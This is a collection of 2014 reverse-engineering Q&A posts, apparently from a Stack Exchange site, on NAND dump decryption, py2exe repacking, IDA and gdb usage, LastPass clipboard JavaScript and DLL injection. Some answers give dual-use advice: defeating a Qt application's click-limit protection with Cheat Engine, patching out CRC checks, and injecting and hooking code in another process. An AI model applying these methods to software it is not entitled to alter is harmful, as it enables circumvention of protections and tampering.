        "Body": "<p>I have been reading and reading about NAND and NOR flash.I am wantina (Usualy 512 bytes) to access some stored information in a nand.bin file but cannot for the life of me figure out what I need to do in order to decrypt it. I am aware it takes a key which I have, just dont know how to use it. Here is what I do know. Any advice is greatly appreciatted, I am getting overwhelmed. </p>\n\n<p>The NAND uses a proprietary format.</p>\n\n<p>The format is used to store device specific data (Config blocks, etc) and system data (Bootloaders, Kernel etc).</p>\n\n<p>The files are stored using a format which is designed to be transctional (Each change can be reverted).</p>\n\n<p>The nand uses a series of pages to combine into blocks, which are snippets of data (Usually 512 bytes) which each have an EDC tag at the end (an extra 16 bytes) </p>\n\n<p>These pages are each part of a specific block (which can be ID'd with the EDC) which is usually made with 16 pages.</p>\n\n<p>All (non-eMMC) NANDs have specific Spare-/Metadata for each page inside the NAND. Sometimes it will not be dumped with the NAND, so it has to either be added back or redumped. The Metadata contains the pages block number, a series of flags and a checksum. Those differ slightly, depending on the blocksize.</p>\n\n<p>The ECC/EDC checksum uses a custom algorithm - here is C code for that (Will be converted to vb.net)</p>\n\n<pre><code>int checkEcc(u8* datc, u8* spare)\n{\nunsigned int i=0, val=0;\nunsigned char edc[4] = {0,0,0,0};\nunsigned long * data = (unsigned long*) datc;\n\nunsigned int v=0;\n // printf(\"original ECC  : %02x %02x %02x %02x \", (spare[0xC] &amp; 0xC0),       spare[0xD],spare[0xE],spare[0xF]);\n\nfor (i = 0; i &lt; 0x1066; i++)\n{\nif (!(i &amp; 31))\n{\n    if (i == 0x1000)\n    data = (unsigned long*)spare;\n    v = ~*data++; // byte order: LE \n}\n   val ^= v &amp; 1;\n   v&gt;&gt;=1;\n   if (val &amp; 1)\n       val ^= 0x6954559;\nval &gt;&gt;= 1;\n}\n\nval = ~val;\n\nedc[0] = (val &lt;&lt; 6) &amp; 0xC0;\nedc[1] = (val &gt;&gt; 2) &amp; 0xFF;\nedc[2] = (val &gt;&gt; 10) &amp; 0xFF;\nedc[3] = (val &gt;&gt; 18) &amp; 0xFF;\n\nif(((spare[0xC] &amp; 0xC0) != edc[0])||(spare[0xD] != edc[1])||(spare[0xE] != edc[2])||(spare[0xF] != edc[3]))\nreturn ECC_FAILED;\n\nreturn ECC_CORRECT;\n}\n</code></pre>\n\n<p>At 0x2 in the NAND the version of the flash is stored (2bytes). Further on at 0x8 the offset of the CB is stored, followed by the CF1 offset (4bytes each).</p>\n\n<p>At 0x78 the length of the SMC and offset to the SMC are stored (4bytes each).</p>\n\n<p>Here is what I was told previously but am still learning and couldnt understand:</p>\n\n<p>Checking the key against the nand is quite simple as there are parts of the nand that is encrypted using your key, as key, there are however different algorithms for each part\u2026 most of them use RC4 combined with HMAC-SHA1 (the key for the RC4 cipher is a HMAC-SHA1 hash of your cpukey)</p>\n\n<p>to get the data from the nand you have to read each of the 32 pages one by one discarding the 0x10 bytes of spare that follow the 0x200 bytes of userdata\u2026</p>\n\n<p>Can someone, anyone make more sense of this for me? Please?</p>\n",
        "Title": "How to retrieve stored information, NAND filesystem with VB.Net",
        "Tags": "|encryption|decryption|",
        "Answer": "<p>First, some NAND flash basics: NAND flashes are divided in blocks, and subdivided in pages. The write of pages is atomic (you can program pages partially, up to 4 times for a single page, but it's rarely used), and erase is always done on a whole block. Moreover, due to the lack of reliability, pages come with spare area to put some error correction codes.</p>\n\n<p>Let's try to work with what you've got:\nA source code with a loop going from 0 to 0x1066, but using data only when (!(i &amp; 31)), with a condition on (i == 0x1000) to switch from data to spare, and <code>data</code> is an <code>unsigned long *</code>, usually a pointer to 4 bytes long integers. So, those are some 512 bytes pages, with spares at least 12 bytes large. With byes 12, 13, 14 and 15 used for EDC, it's 16 spare bytes, which is common for small-pages NANDs. I also expect 32 pages per block.</p>\n\n<p>Now, your EDC is just an EDC, not an ECC, maybe that worked on old NAND technologies.</p>\n\n<p>But that's all we can get. We can confirm what you already know.</p>\n\n<p>You ask about a NAND version, CB SMC and CF1 (whatever those acronyms mean for you). With no data, we can't show you any pattern allowing to tell if your data enclose the spares or not, if your data seem inverted, and so on. What do you expect from us ?</p>\n\n<p>In fact, the easiest way would be to have the filesystem source code, but maybe you don't want to publish potential flaws in your security implementation...</p>\n"
    },
    {
        "Id": "6761",
        "CreationDate": "2014-12-04T14:47:41.347",
        "Body": "<p>I have an application in Python compiled with py2exe.\nI have successfully extracted python scripts using Py2ExeDumper converted to <code>.py</code> using Easy Python Decompiler.</p>\n\n<p>I made some modification to the python code and recompiled <code>.py</code> files to <code>.pyc</code> files.</p>\n\n<p>Question : How can I rebuild the exe file using the new edited <code>.pyc</code> files ?</p>\n\n<p>Thanks</p>\n",
        "Title": "Modify py2exe packed executable",
        "Tags": "|python|patch-reversing|",
        "Answer": "<p>A py2exe generated executable basically consists of three main parts - <em>PYTHONSCRIPT</em>, the runtime python dll &amp; library.zip.</p>\n\n<p><em>PYTHONSCRIPT</em> can be modified with a decent resource editor. It is basically a marshalled array holding pyc files. The main script of the application is usually stored here.</p>\n\n<p>In order to make changes you need to unmarshal the code objects, decompile it to <em>py</em>, make changes, recompile back to <em>pyc</em>, marshal it back to generate a new <em>PYTHONSCRIPT</em> and finally update the executable.</p>\n\n<p>Modifying library.zip is easier as it is a standard zip file. It contains other <em>pyc/pyo</em> files. You can decompile them, make changes, recompile it back to <em>pyc/pyo</em>, and zip them up. Next replace the overlay in the executable with your new zip file and you are done.</p>\n\n<p>In order to automate some of the above steps you can use a tool <a href=\"https://sourceforge.net/projects/p2ebe/\" rel=\"nofollow\">Py2Exe Binary Editor</a>\n<br><sub>Note: I am the author of the above tool</sub></p>\n"
    },
    {
        "Id": "6769",
        "CreationDate": "2014-12-05T21:38:11.250",
        "Body": "<p>I'm trying to connect a real-life motion simulator to my pc gaming rig one game at a time.   Since all the GTA games are super hackable (with respect to physics, map, &amp; texture hacking), AND the fact that GTA5 is coming soon to PC, i thought it would be a cool start.</p>\n\n<p>From the motion simulator side, it seems that the most logical point to pull a feed would be the vehicle's suspension.  Speed, mass, obstacles, handling, etc... are already computed by the game &amp; mirroring the suspension should be a pretty believable experience.  </p>\n\n<p>Does this sound doable?  Has anyone tried to pair a real-life machine with existing game vehicle before?  Any experiences or insight to what this would entail would be extremely appreciated. </p>\n\n<p>From the research I've put into this project, it seems that the hardest part will be to pull a realtime feed off an in-game event as the game is already compiled.  My hope is that there is some existing trigger for debugging or perhaps controller feedback in place.  Alternatively, what are the chances of probing around an assembly code level version of the game to insert calls to external scripts?  I realize that a full decompile to a high level language is 99% never going to work again with a game this complex.</p>\n\n<p>Thanks for any helpful contributions pointing in the right direction...</p>\n",
        "Title": "Connecting a Motion Simulator to GTA",
        "Tags": "|decompilation|x86|c++|objdump|",
        "Answer": "<p>Not sure if I get this the right way but want to create physical feedback of the simulated car in game to your real seat/cockpit and also drive it from there. (something like Plane HW simulators)</p>\n\n<ol>\n<li><p><strong>Driving</strong></p>\n\n<p>that should be pretty easy just use joystick and some keyboard messages inserter (or real hacked keyboard). I assume you already know how to do this part</p></li>\n<li><p><strong>feedback</strong></p>\n\n<p>I would create some starting App that would own the Game's process so I could have full Access to its memory. Then I would track all the memory chunks allocated to it and scan for periodic changes then draw it as some video overlay and play the game to see which chunks are changing dependently to what you do in game.</p>\n\n<p>Good way is also log the memory chunks to file for later inspections once you  get the candidates for memory locations that could hold the simulated car parameters then try to hack them to see if anything match to in game car speed,orientation ...</p>\n\n<p>You also need some <strong>ID</strong> of the chunks so look for specific patterns in them so you can find the same chunk even when it is reallocated (or game is restarted)</p></li>\n<li><p><strong>DLL's</strong></p>\n\n<p>if the GAME use any <strong>DLL</strong> for specific task like physics simulation then you are in luck and can create wrapper <strong>DLL</strong> which will have the same interface as original <strong>DLL</strong>. So create <strong>DLL</strong> which will just call the calls of the original <strong>DLL</strong> plus add of some logging so you see what you need (similarly to bullet <strong>#2</strong>). Once identified what you need then you can easily insert you driving code into it ...</p></li>\n</ol>\n\n<p><strong>[Notes]</strong></p>\n\n<p>Did not do anything like this in a very long time so I have no clue of nowdays tools for this. My favourite tool back in the day was <strong>DLPORTIO</strong> driver for windows 9x,nt,w2k,xp. it enables full access to everything from IO to memory without exceptions ...</p>\n\n<p>If the game has player as a complex class then you can try to search for Players name in memory and look around its location for parameters you need</p>\n"
    },
    {
        "Id": "6776",
        "CreationDate": "2014-12-07T05:47:59.717",
        "Body": "<p>We have a DOS executable program like to <a href=\"https://en.wikipedia.org/wiki/Norton_Commander\" rel=\"nofollow\">NC</a>. How do we find and change a text or a ASCII art in it?</p>\n\n<p>I'm a newbie in reverse.</p>\n",
        "Title": "Change a text in DOS executables",
        "Tags": "|dos|",
        "Answer": "<p><strong>Tools</strong></p>\n\n<p>Any hex editor will do. Under <strong>DOS</strong> both NC and VC have their own which are enough. Very good <strong>DOS</strong> tool is HIEW (hex editor + x86 dissasembler).</p>\n\n<p><strong>what to do</strong></p>\n\n<ol>\n<li><p><strong>determine the executable form</strong></p>\n\n<p>open it as text/hex and if no program string are present then they are in different file or the file is packed/encrypted. Some executables are packet by <strong>PKLITE</strong> tools so unpack them. If file is encrypted you have to try to decrypt it first.</p></li>\n<li><p><strong>find the text you want to change</strong></p></li>\n<li><p><strong>edit the text</strong></p>\n\n<p>The string size must stay the same !!! If program uses any kind of <strong>CRC</strong> then you have to override the call by <code>nop/jump</code> or change the comparison values to the new <strong>CRC</strong></p></li>\n<li><p><strong>that should be all but</strong></p>\n\n<p>If the program uses those texts in specific ways then some thing can be broken like search for specific character/pattern in string to do some crazy effect etc. So if the edit is bugged return to original executable and try to edit string one by one ... to detect which strings will broke the exe. After that just leave those as are and edit the rest to what you need</p></li>\n<li><p><strong>if all fails</strong></p>\n\n<p>Then write TSR launcher for your program (terminate and stay program) that will change the text screens for you. In DOS there are no access violations so you can do anything...</p>\n\n<p>For example:</p>\n\n<ol>\n<li><p><strong>detect the actual screen the program is presenting</strong></p>\n\n<p>Text mode <strong>VideoRAM</strong> is at <code>B800:0000h</code>  if my memory serves well Each character is represented by <code>2</code> BYTEs (one is ASCII and one is color attributes). Standard text-mode used in <strong>DOS</strong> is <code>80x25</code> characters so read the specific positions of screen and detect strings that match each page of program.</p></li>\n<li><p><strong>if page detected</strong></p>\n\n<p>Then rewrite it by your new page (can flicker a bit)</p></li>\n<li><p><strong>continue this scanning in some timer</strong> ... (PIT interrupt or keyboard interrupt)</p></li>\n<li><p><strong>you can combine this with keyboard keystrokes detection</strong></p>\n\n<p>This way you know if you hit <strong>F1</strong> then page <strong>F1</strong> will occur etc. This can be used for hard to detect pages (have no title).</p></li>\n</ol></li>\n</ol>\n\n<p><strong>Windows</strong></p>\n\n<p>You could write window App that will present the DOS program. Just you need to pass mouse movement and keyboard events to the DOS program (which can be run as hidden process) and present the (invisible) DOS screen in your Window. In Windows use <strong>DLPORTIO</strong> driver or any other way to get <strong>Kernel mode</strong> access rights so you can actually read / access the <strong>DOS VRAM</strong> or access the <strong>commandline</strong> or <strong>DOSbox backbuffer</strong> by <strong>WinAPI</strong> in <strong>gfx</strong>. Decode it back to text (the font is usually fixed so that should be easy enough) and recode it to your new texts and present back in your window App.</p>\n\n<p><strong>[Notes]</strong></p>\n\n<p>Graphical DOS program means it uses graphic video mode instead of Text mode. NC is example of Text mode program not graphical !!! Some Text mode based Apps use different text modes so you should detect actual text mode resolution. I think some call to EGA/VGA BIOS <code>int 13h</code> should do the trick or you can hook up the entire interrupt for this. If you got aligned lines and table borders then that can be also used for resolution detection. You should do this once in a while because resolution can change during operation for example try <strong>ALT+F9</strong> in <strong>VC</strong>.</p>\n"
    },
    {
        "Id": "6779",
        "CreationDate": "2014-12-07T19:50:24.650",
        "Body": "<p>Where does newly created structure go to from Pseudocode window? I'm referring to structure that you create via right-click on variable and choosing \"Create new struct type\".</p>\n\n<p>I don't see new structure in <code>View / Open Subviews / Structures</code> but I'd like to modify it afterwards.</p>\n\n<p><img src=\"https://i.stack.imgur.com/SU7Ry.png\" alt=\"enter image description here\"></p>\n\n<p>I'm using IDA Pro 6.5</p>\n",
        "Title": "IDA Pro: Where does newly created structure go to from Pseudocode window?",
        "Tags": "|ida|hexrays|",
        "Answer": "<p>The created types get added to the Local Types list (View->Open subviews->Local types, or <kbd>Shift-F1</kbd>). To jump directly to the specific type, choose \"Jump to local type...\" from the context menu on a variable of that type.</p>\n\n<p>You can import any structure from Local Types to the Structures list by double-clicking it or selecting \"Syncronize to idb\" from the context menu.</p>\n\n<p>Additionally, the structure gets imported automatically if you select \"Jump to structure definition\" (<kbd>Z</kbd>) on any of its fields in the pseudocode.</p>\n"
    },
    {
        "Id": "6782",
        "CreationDate": "2014-12-07T22:49:30.900",
        "Body": "<p>How can I set memory breakpoint on field of structure ?</p>\n\n<p>Currently if I mapped structure to memory region it uses starting address of structure as address of all fields. See screenshow</p>\n\n<p><img src=\"https://i.stack.imgur.com/d6dt6.png\" alt=\"enter image description here\"></p>\n\n<p>As result I cannot quickly add breakpoint to field <code>isHandshakeReceived</code>. I'd need to manually calculate its address.</p>\n\n<p>Is there easier method ?</p>\n",
        "Title": "IDA Pro: How can I set memory breakpoint on field of structure?",
        "Tags": "|ida|",
        "Answer": "<p>Like most input fields in IDA, the breakpoint dialogue's Location field accepts expressions like </p>\n\n<pre><code>eax + GetMemberOffset(GetStrucIdByName(\"foo_t\"), \"isHandshakeReceived\")\n</code></pre>\n\n<p>I have no idea why IDA doesn't accept <code>0x376e5f0 + foo_t.isHandshakeReceived</code>... Anyway, being able to enter expressions is very useful and it can save a lot of hassle.</p>\n\n<p>The erroneous address display is a result of the simplistic way in which IDA manages things internally. Basically, everything contained in a struct or array belongs to its starting address ('head'), and if the display is continued over multiple lines then IDA simply reprints the starting address instead of the correct address. It's a bit annoying but that's the way IDA works.</p>\n\n<p>P.S.: perhaps it would be worth it to file a defect report or post in IDA's bug forum; after all, the displayed addresses are definitely wrong. I wouldn't hold my breath but who knows...</p>\n"
    },
    {
        "Id": "6783",
        "CreationDate": "2014-12-08T00:32:52.303",
        "Body": "<p>A few weeks ago I made a proof-of-concept app demonstrating how LastPass' method of filling out creds in Chrome was insecure. For those interested the source is at <a href=\"https://github.com/activems/clipcaster\" rel=\"nofollow\">https://github.com/activems/clipcaster</a></p>\n\n<p>Essentially they copy a chunk of javascript to the clipboard and have the user execute it. This includes the user name and password. In previous versions it has been filled out plainly as:</p>\n\n\n\n<pre><code>if (l_bte) {\n    l_sfv(l_bte, decodeURIComponent(escape(atob('dXNlckBleGFtcGxlLmNvbQ=='))));\n}\nl_sfv(l_bpe, decodeURIComponent(escape(atob('cDRzc3cwcmQ='))));\n</code></pre>\n\n<p>With 'dXNlckBleGFtcGxlLmNvbQ==' being Base64 for 'user@example.com' and 'cDRzc3cwcmQ=' being 'p4ssw0rd'</p>\n\n<p>LastPass recently updated the JavaScript they use. Now it is (full version at <a href=\"https://raw.githubusercontent.com/activems/clipcaster/master/lastpass_output_v2.js\" rel=\"nofollow\">https://raw.githubusercontent.com/activems/clipcaster/master/lastpass_output_v2.js</a>):</p>\n\n\n\n<pre><code>var l_x = function(t, l, m) {\n    var o = [];\n    var b = '';\n    var p = document.location.href.replace(/https?:\\/\\//, '').substring(0, l);\n    p = l_s('' + l_f(m) + p);\n    for (z = 1; z &lt;= 255; z++) {\n        o[String.fromCharCode(z)] = z;\n    }\n    for (j = z = 0; z &lt; t.length; z++) {\n        b += String.fromCharCode(o[t.substr(z, 1)] ^ o[p.substr(j, 1)]);\n        j = (j &lt; p.length) ? j + 1 : 0;\n    }\n    return decodeURIComponent(escape(b));\n};\n\n....\n\nvar l_f=function(m){ \n    var t=new Date().getTime() /\n        1000 | 0;\n        while (t % 10 != m) {\n            --t;\n        }\n        return t;\n    };\n\n....\n\nif (l_bte) {\n\n    l_sfv(l_bte, l_x(atob('W01cCVUlA1AVCkIDAk8AC1g='), 61, 0));\n}\nl_sfv(l_bpe, l_x(atob('QldeA0BREUAWDEMC'), 61, 0));\n</code></pre>\n\n<p>Is there any pragmatic reason to write JavaScript like this besides obfuscation?</p>\n",
        "Title": "LastPass Android javascript behaviour",
        "Tags": "|android|javascript|security|",
        "Answer": "<p>In short, no. If they're going to implement the \"crypto\" in Javascript in this way there isn't anything you can do beyond more obfuscation. This is 100% applicable to this situation but see MataSano's article <a href=\"http://matasano.com/articles/javascript-cryptography/\" rel=\"nofollow\">here</a>  explaining pitfalls of client side authentication using JavaScript.  </p>\n\n<p>Similar to what's touched on in the article, the issue is that no matter how complicated the JavaScript is, it's trivial for an attacker to intercept and run the code. Similar to a MitM where an attack can intercept and replace client side JavaScrip, in this case the issue is that it's so easy for another app to access the Clipboard via the ClipboardManager. A much better bare minimum solution would be to have LastPass et al store saved credentials in an authenticated SQLite database. And upon detecting the fillable are use code in the application. to pull the saved credentials and enter them directly instead of using the Clipboard and running JavaScript.</p>\n\n<p>The crux of the problem is it's too easy for an attacker to get a callback using the current API; having the app use its own database prevents an attacker from intercepting the authentication workflow without having root privileges (which is a different discussion altogether). This is a good example of not considering security from the ground up when implementing an application. </p>\n\n<p>As an aside, cool stuff and reporting the bug. Can you put a vulnerable version of the application on github (if you haven't already)? It would be a great demo in the future.</p>\n"
    },
    {
        "Id": "6790",
        "CreationDate": "2014-12-08T12:14:51.510",
        "Body": "<p>My target exe file has a button. It will display a webpage when the button is clicked on. I used OllyDBG to disassemble this file. My questions are:</p>\n\n<ol>\n<li>How can I find the url of this webpage? I have searched text strings, but found nothing.</li>\n<li>I want to create a new button with the same function as this previous button. How can I make this work?</li>\n</ol>\n",
        "Title": "How to add new button to an executable?",
        "Tags": "|ollydbg|patch-reversing|",
        "Answer": "<p>As for the webpage URL changing use CFF Explorer' hex editor to search for the caption of the button, there you will find a parameter that execute the URL and change it to your favourite</p>\n"
    },
    {
        "Id": "6792",
        "CreationDate": "2014-12-08T14:16:21.153",
        "Body": "<p>I have a binary <code>test</code> that I want to debug with gdb. As you can see <code>pwd</code> is <code>/tmp</code>:</p>\n\n<pre><code>$ gdb\n(gdb) file test\nReading symbols from /tmp/test...(no debugging symbols found)...done.\n(gdb) pwd\nWorking directory /tmp\n(gdb) run\nStarting program: /tmp/test\n</code></pre>\n\n<p>or</p>\n\n<pre><code>$ pwd\n/tmp\n$ gdb test\nReading symbols from /tmp/test...(no debugging symbols found)...done.\nThe target architecture is assumed to be i386\n(gdb) run\nStarting program: /tmp/test\n</code></pre>\n\n<p>The problem is that gdb executes the file with the absolut path <code>/tmp/test</code> instead of the realtiv path <code>test</code>. Which means <code>argv[0]=\"/tmp/test\"</code>.</p>\n\n<p>How can I make gdb execute the file with the relativ path (<code>argv[0]=\"test\"</code>)?</p>\n",
        "Title": "How to debug a binary with the relative path in argv[0]?",
        "Tags": "|linux|gdb|",
        "Answer": "<p>Figured it out myself with a cool trick I didn't know before - <code>set exec-wrapper</code></p>\n\n<pre><code>$ cat wrapper.sh\n#!/bin/bash\np=\"test\"\nexec -a \"$p\" \"$@\"\n</code></pre>\n\n<p>and in gdb</p>\n\n<pre><code>(gdb) set exec-wrapper ./wrapper.sh\n</code></pre>\n\n<p>This way you can set the <code>argv[0]</code> to whatever you want. </p>\n\n<p>source: <a href=\"https://sourceware.org/ml/gdb/2013-05/msg00049.html\" rel=\"nofollow\">https://sourceware.org/ml/gdb/2013-05/msg00049.html</a></p>\n"
    },
    {
        "Id": "6813",
        "CreationDate": "2014-12-13T02:11:52.660",
        "Body": "<p>I study an analysis paper about a trojan and there are the following assembly lines:</p>\n\n<pre><code>.text:004010D0 Get_PE_section_address proc near        \n.text:004010D0\n.text:004010D0 arg_0           = dword ptr  4\n.text:004010D0\n.text:004010D0                 mov     ecx, [esp+arg_0]\n.text:004010D4                 mov     eax, [ecx+3Ch]\n.text:004010D7                 movzx   edx, word ptr [eax+ecx+14h]\n.text:004010DC                 add     eax, ecx\n.text:004010DE                 movzx   ecx, word ptr [eax+6]\n.text:004010E2                 push    ebx\n.text:004010E3                 add     edx, eax\n.text:004010E5                 push    esi\n.text:004010E6                 lea     esi, [ecx+ecx*4]\n.text:004010E9                 lea     eax, [edx+esi*8-38h]\n.text:004010ED                 xor     edx, edx\n.text:004010EF                 test    ecx, ecx\n.text:004010F1                 jbe     short loc_401102\n.text:004010F3\n\n.text:004010F3 loc_4010F3:                            \n.text:004010F3                 mov     bl, [eax+5]\n.text:004010F6                 test    bl, bl\n.text:004010F8                 jz      short loc_401104\n.text:004010FA                 inc     edx\n.text:004010FB                 sub     eax, 28h\n.text:004010FE                 cmp     edx, ecx\n.text:00401100                 jb      short loc_4010F3\n.text:00401102\n\n.text:00401102 loc_401102:                             \n.text:00401102                 xor     eax, eax\n.text:00401104\n\n.text:00401104 loc_401104:                             \n.text:00401104                 pop     esi\n.text:00401105                 pop     ebx\n.text:00401106                 retn\n\n.text:00401106 Get_PE_section_address endp\n</code></pre>\n\n<p>As you can see, the owner of the paper renamed the function as Get_PE_section_address.\nI spent a lot of time to understand why he/she calls in that way because I could not understand why this piece of code retrieves the the PE section address.</p>\n\n<p>So, my question would be if there is anyone who can tell me which lines tells us that this is something about PE section address. </p>\n\n<p>PS: I tried to work with the offsets but with a low success rate. The only thing I can say is that ebx = pointer to the malicious executable and arg_0 = 0\nAfter searching a while PE file format papers, i have found out that the second line </p>\n\n<pre><code>   mov     eax, [ecx+3Ch]\n</code></pre>\n\n<p>gives me the file address of the exe header. </p>\n\n<p>best regards, </p>\n",
        "Title": "Get the PE section address",
        "Tags": "|assembly|pe|section|address|",
        "Answer": "<p>looks like some homemade untested code for retrieving section address retrieves address of second section if the section name[5] is null terminator \\x0</p>\n\n<pre><code>MOV     ECX, DWORD PTR SS:[ESP+4]          ; ecx = 1000000 base of image\nMOV     EAX, DWORD PTR DS:[ECX+3C]         ; eax = 0xe8 ptrtopeheader\nMOVZX   EDX, WORD PTR DS:[EAX+ECX+14]      ; edx = e0 = sizeofoptional header\nADD     EAX, ECX                           ; eax = peheader\nMOVZX   ECX, WORD PTR DS:[EAX+6]           ; ecx - no of sections\nPUSH    EBX\nADD     EDX, EAX                           ; edx = 10001c8 ?\nPUSH    ESI\nLEA     ESI, DWORD PTR DS:[ECX+ECX*4]      ; esi = 14 ?\nLEA     EAX, DWORD PTR DS:[EDX+ESI*8-38]   ; ? esi * 8 - 38 + edx ; 1000230\nXOR     EDX, EDX\nTEST    ECX, ECX\nJBE     SHORT 01063F5E                     ; jmp ot if no sections\nMOV     BL, BYTE PTR DS:[EAX+5]            ; checks for 0 in section name ?\nTEST    BL, BL                             ; some kind of homemade crap\nJE      SHORT 01063F6C                     ; jmps out of proc with address of second section if section name was sya .rsrc\nINC     EDX                                ; loop checking section 1\nSUB     EAX, 28                            ;  size of section header\nCMP     EDX, ECX                           ; counting no of sections\nJB      SHORT 01063F05                     ; &lt;loop&gt;\n</code></pre>\n"
    },
    {
        "Id": "6828",
        "CreationDate": "2014-12-15T08:51:36.597",
        "Body": "<p>I am facing a little bit of problem during reverse a QT application with Ollydbg or IDA.</p>\n\n<p>This software use a protection schema to indetify the number of click made on a QList. After a random amount of click on list rows replace the content of the list with a blank string. That's give me troubles because the protection is dinamic.</p>\n\n<p>Someone of you can point me to some hints to work with QT application or explain me how to identify an event (signal/slot) and work on it please?</p>\n\n<p>Any help will be appreciated, i have searching a lot but there aren't tutorial or documentation about QT reversing...</p>\n\n<p>Thanks</p>\n",
        "Title": "Hints to reverse engineering a QT software",
        "Tags": "|ida|ollydbg|patch-reversing|qt|",
        "Answer": "<p>I would try another approach, without using Olly or IDA, get Cheat Engine, attach it to your software and give X clicks. Search that int value on C.E., and increment while searching too.<br>\nCheat Engine will \"catch\" the variable faster than searching through regular debuggers.\nSet the var to 0 and lock it.<br>\nYes, I know C.E. is not a reversing tool, but in this case, and given your RE experience, seems the most fit.\n<br>\nOr, send the link/.exe and I'm willing to help you.</p>\n"
    },
    {
        "Id": "6833",
        "CreationDate": "2014-12-16T12:47:15.673",
        "Body": "<p>I am learning DLL injection basics and different techniques to achieve it, like using <code>CreateProcess</code> and <code>LoadLibrary</code> for example, or simply replacing a .dll in folder where the application to inject into resides. \nI was able to perform some basic tasks after having loaded the .dll into application's memory space like invoking a <code>MessageBox</code> on <code>DLLEntry</code> and some others. \nBut how can one manipulate with the code of the application itself, eg. calling a certain procedure that is part of the application, or simply modifying a variable? \nMost tutorials I have read online discuss only injection process itself, but not the actual manipulations with applications. Or at least I am having trouble finding that information. </p>\n\n<p>So, how to find/extract the memory parts of the application you are interested in and then modify/alter them?</p>\n",
        "Title": "DLL Injection search for procedures/variables",
        "Tags": "|dll|winapi|dll-injection|function-hooking|",
        "Answer": "<p>If you want to use a function in the application the bottom line is that you need to know where it's located.  Without ASLR you can hardcode the address of the function into your DLL, and use a function pointer to call it.  If you want to modify data from a function in a loaded library then you would need to hook that function, and call your own code for its operations.</p>\n\n<p>If an application's function is at 0x0041A000 you can create a function pointer if you know all the information about the function; the call convention, return value, and parameters.  Assume it's a <code>__stdcall</code>, two <code>VOID *</code>parameters, and returns a <code>DWORD</code>.</p>\n\n<pre><code>typedef DWORD (WINAPI *FunctionType)(VOID *a, VOID *b);\n\nDllEntry(...)\n{\n    FunctionType function = (FunctionType) 0x0041A000;\n\n    function(your_param1, your_param2);\n}\n</code></pre>\n\n<p>You can also hook that function by using the <a href=\"http://research.microsoft.com/en-us/projects/detours/\" rel=\"nofollow noreferrer\">Windows Detours</a> library.  Again you would hardcode the address of the function you want to hook, and write your own version of the function.  You need to make sure that it returns the same type of value as the real function to ensure nothing breaks in the calling function.  Using <code>GetProcAddress</code> you can hook a function call of a library rather than the application's function.  </p>\n\n<p>This all gets complicated with ASLR.  As the application might not be at the location you think it is.  <a href=\"https://stackoverflow.com/a/11564232/3714897\">This answer</a> can help with the calculations of certain sections determined by the base address of the program.</p>\n\n<p>Modifying global variables is the same kind of deal.  You'll need to find their offset in the program.  You can then create pointer to that memory address for manipulating it.     </p>\n"
    },
    {
        "Id": "6835",
        "CreationDate": "2014-12-16T20:18:18.937",
        "Body": "<p>I want to modify my teamspeak server (linux), I'm particulary interested in the connection with clients (UDP), so I figured I need to set a breakpoint at the linux socket function to start reversing. How can I achieve this?</p>\n\n<p>Thanks!</p>\n",
        "Title": "Setting a breakpoint at system call",
        "Tags": "|linux|operating-systems|",
        "Answer": "<p>In <code>gdb</code> you can set a syscall breakpoint with <code>catch syscall</code>.</p>\n\n<p>If this is in 32-bit x86 (IA-32), check the syscall number in <code>your_linux_source_dir/usr/include/asm/unistd_32.h</code>. There is no syscall called <code>socket</code> in 32-bit x86, do you mean <code>socketcall</code>? Its number is 102.</p>\n\n<p>If this is in x86-64 (AMD64), check the syscall number in <code>your_linux_kernel_source_dir/usr/include/asm/unistd_64.h</code>. The syscall called <code>socket</code> is 41.</p>\n\n<p>Then run the executable in <code>gdb</code>:</p>\n\n<pre><code>$ gdb myexecutable\n</code></pre>\n\n<p>And set the syscall breakpoint (41 is the <code>socket</code> syscall number in x86-64, change to appropriate syscall number for you):</p>\n\n<pre><code>(gdb) catch syscall 41\n</code></pre>\n\n<p>And then run the program:</p>\n\n<pre><code>(gdb) r\n</code></pre>\n\n<p>Using the name of syscall (such as <code>socket</code>) instead of the number (eg. <code>41</code>) may also work, depending on your configuration.</p>\n"
    },
    {
        "Id": "6842",
        "CreationDate": "2014-12-17T19:39:18.250",
        "Body": "<p>I would like to debug my elf file on linux using GDB and follow the disassembly in IDA, is this possible? And if it is how would I rebase IDA to match with GDB?</p>\n\n<p>Thanks!</p>\n",
        "Title": "How to rebase IDA to match GDB",
        "Tags": "|ida|linux|gdb|",
        "Answer": "<p>If you are trying to rebase an elf, you could do <code>info proc mappings</code>. This will show you all of the mapped addresses. (This could also be viewed by doing <code>cat /proc/&lt;pid&gt;/map</code>)</p>\n\n<p>Then just rebase your IDA via EDIT->Segments->Rebase program and select <code>Image Base</code> from the radio buttons.</p>\n\n<p>Ex: </p>\n\n<pre><code>(gdb) info proc mappings \nprocess 12383\nMapped address spaces:\n    Start Addr   End Addr       Size     Offset objfile\n     0x8048000  0x8049000     0x1000          0      /home/user/my_elf\n     0x8049000  0x804a000     0x1000          0      /home/user/my_elf\n     0x804a000  0x804b000     0x1000     0x1000      /home/user/my_elf\n    0xb7e73000 0xb7e74000     0x1000          0\n    0xb7e74000 0xb7fbd000   0x149000          0     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fbd000 0xb7fbe000     0x1000   0x149000     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fbe000 0xb7fc0000     0x2000   0x149000     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fc0000 0xb7fc1000     0x1000   0x14b000     /lib/i386-linux-gnu/libc-2.13.so\n    0xb7fc1000 0xb7fc4000     0x3000          0\n    0xb7fdf000 0xb7fe1000     0x2000          0\n    0xb7fe1000 0xb7fe2000     0x1000          0           [vdso]\n    0xb7fe2000 0xb7ffe000    0x1c000          0     /lib/i386-linux-gnu/ld-2.13.so\n    0xb7ffe000 0xb7fff000     0x1000    0x1b000     /lib/i386-linux-gnu/ld-2.13.so\n    0xb7fff000 0xb8000000     0x1000    0x1c000     /lib/i386-linux-gnu/ld-2.13.so\n    0xbffdf000 0xc0000000    0x21000          0           [stack]\n</code></pre>\n\n<p>If I would be looking at the elf in IDA i would use 0x8048000 for the base. If I would be looking at libc-2.13.so I would use 0xb7e74000.</p>\n\n<p>Hope that helps. </p>\n"
    },
    {
        "Id": "6854",
        "CreationDate": "2014-12-19T12:38:47.790",
